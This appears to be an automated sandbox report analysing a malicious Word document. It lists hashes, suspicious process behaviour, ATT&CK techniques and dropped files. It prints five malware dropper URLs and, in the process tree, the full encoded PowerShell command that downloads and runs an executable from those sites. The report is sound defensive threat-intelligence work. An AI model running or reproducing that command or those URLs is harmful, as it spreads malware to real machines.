5d7bd5ab1f0ef9fe49f97b49fc955f64a9878fc341650143d572b24126f1284b

General

Target

Rech1075478616DEMai232019.doc
Size

125KB
MD5

659f175cbd422379fe3a6a63c5b1f640
SHA1

61af3732c39c9ec9e6b0bd1234eba2ccfe8a42e6
SHA256

5d7bd5ab1f0ef9fe49f97b49fc955f64a9878fc341650143d572b24126f1284b
SHA512

bfe05e59cce39f8747a0ee1186a4a4f6d8834882972bf238f0dcd6743314871df4cb11e824e382ed95cb29808e7e0d75d6ab6d3aec69532d7865171a5e50aa87
SSDEEP

3072:S77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/tr0mXSSBgfy1:S77HUUUUUUUUUUUUUUUUUUUT52V8r0mj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/

exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/

exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/

exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/

exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 624 3304 powershell.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

31 624 powershell.exe
35 624 powershell.exe
38 624 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	624	3304	powershell.exe

flow	pid	process
31	624	powershell.exe
35	624	powershell.exe
38	624	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2236 WINWORD.EXE
2236 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

624 powershell.exe
624 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 624 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2236 WINWORD.EXE
2236 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2236 WINWORD.EXE
2236 WINWORD.EXE
2236 WINWORD.EXE
2236 WINWORD.EXE
2236 WINWORD.EXE
2236 WINWORD.EXE
2236 WINWORD.EXE

pid	process
2236	WINWORD.EXE
2236	WINWORD.EXE

pid	process
624	powershell.exe
624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	624	powershell.exe

pid	process
2236	WINWORD.EXE
2236	WINWORD.EXE

pid	process
2236	WINWORD.EXE
2236	WINWORD.EXE
2236	WINWORD.EXE
2236	WINWORD.EXE
2236	WINWORD.EXE
2236	WINWORD.EXE
2236	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2236 wrote to memory of 2292	2236	WINWORD.EXE	splwow64.exe
PID 2236 wrote to memory of 2292	2236	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Rech1075478616DEMai232019.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D7D1BD74.wmf
Filesize
444B

MD5
eb90590e76afc07bb16fb0c0d2d19575

SHA1
8b0d875cee73d6096885f007e20e5634b811dc43

SHA256
3757ecfd2881b2b62019ca4179e7b9d08be7fb636760d4f24a970c02ab39e17d

SHA512
761f6e9282ae775a7af1efacc1c1d8fa1be4e43415f3f016a89ed8815beea6dbcdc73562838d4a8d5dd671afac88794926f7c43b3dfe8798bd40a128001b2427

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0135rvm.bjq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/624-178-0x000002B06FBA0000-0x000002B06FBB0000-memory.dmp

Filesize
64KB

Download
memory/624-177-0x000002B06FBA0000-0x000002B06FBB0000-memory.dmp

Filesize
64KB

Download
memory/624-163-0x000002B06FB70000-0x000002B06FB92000-memory.dmp

Filesize
136KB

Download
memory/624-162-0x000002B06FBA0000-0x000002B06FBB0000-memory.dmp

Filesize
64KB

Download
memory/2236-137-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-139-0x00007FFB38E50000-0x00007FFB38E60000-memory.dmp

Filesize
64KB

Download
memory/2236-161-0x0000024D8D2F0000-0x0000024D8D4F0000-memory.dmp

Filesize
2.0MB

Download
memory/2236-138-0x00007FFB38E50000-0x00007FFB38E60000-memory.dmp

Filesize
64KB

Download
memory/2236-133-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-136-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-134-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-135-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-191-0x0000024D8D2F0000-0x0000024D8D4F0000-memory.dmp

Filesize
2.0MB

Download
memory/2236-217-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-218-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-220-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download
memory/2236-219-0x00007FFB3AFB0000-0x00007FFB3AFC0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads